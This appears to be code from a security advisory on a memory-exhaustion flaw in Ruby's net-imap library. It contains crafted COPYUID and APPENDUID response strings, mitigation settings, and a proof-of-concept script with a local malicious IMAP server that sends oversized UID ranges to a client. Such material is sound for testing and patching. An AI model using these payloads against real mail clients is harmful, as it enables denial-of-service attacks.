# 40 bytes expands to ~1.6GB:
"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"

# Worst *valid* input scenario (using uint32 max),
# 44 bytes expands to 64GiB:
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"

# Numbers must be non-zero uint32, but this isn't validated.  Arrays larger than
# UINT32_MAX can be created.  For example, the following would theoretically
# expand to almost 800 exabytes:
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"

require "net/imap"

def test(size)
  input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n"
  parser = Net::IMAP::ResponseParser.new
  parser.parse input
end

test(99_999_999)

# globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
# per-client
imap = Net::IMAP.new(hostname, ssl: true,
                               parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false

limit = 1000
imap.add_response_handler do |resp|
  next unless resp.respond_to?(:name) && resp.respond_to?(:data)
  name = resp.name
  code = resp.data.code&.name if resp.data.respond_to?(:code)
  if Net::IMAP::VERSION > "0.4.0"
    imap.responses(name) { _1.slice!(0...-limit) }
    imap.responses(code) { _1.slice!(0...-limit) }
  else
    imap.responses(name).slice!(0...-limit)
    imap.responses(code).slice!(0...-limit)
  end
end

#!/usr/bin/env ruby
require 'socket'
require 'net/imap'

if !defined?(Net::IMAP.config)
  puts "Net::IMAP.config is not available"
elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
  puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
else
  Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
  puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
end

size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)

def server_addr
  Addrinfo.tcp("localhost", 0).ip_address
end

def create_tcp_server
  TCPServer.new(server_addr, 0)
end

def start_server
  th = Thread.new do
    yield
  end
  sleep 0.1 until th.stop?
end

def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
end

def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
end

server = create_tcp_server
port = server.addr[1]
puts "Server started on port #{port}"

# server
start_server do
  sock = server.accept
  begin
    sock.print "* OK test server\r\n"
    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"

    malicious_response = appenduid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response

    malicious_response = copyuid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response
    sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
    sock.print "#{tag} OK CAPABILITY completed\r\n"

    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"
    sock.print "* BYE If you made it this far, you passed the test!\r\n"
    sock.print "#{tag} OK LOGOUT completed\r\n"
  rescue Exception => ex
    puts "Error in server: #{ex.message} (#{ex.class})"
  ensure
    sock.close
    server.close
  end
end

# client
begin
  puts "Client connecting,.."
  imap = Net::IMAP.new(server_addr, port: port)
  puts "Received capabilities: #{imap.capability}"
  pp responses: imap.responses
  imap.logout
rescue Exception => ex
  puts "Error in client: #{ex.message} (#{ex.class})"
  puts ex.full_message
ensure
  imap.disconnect if imap
end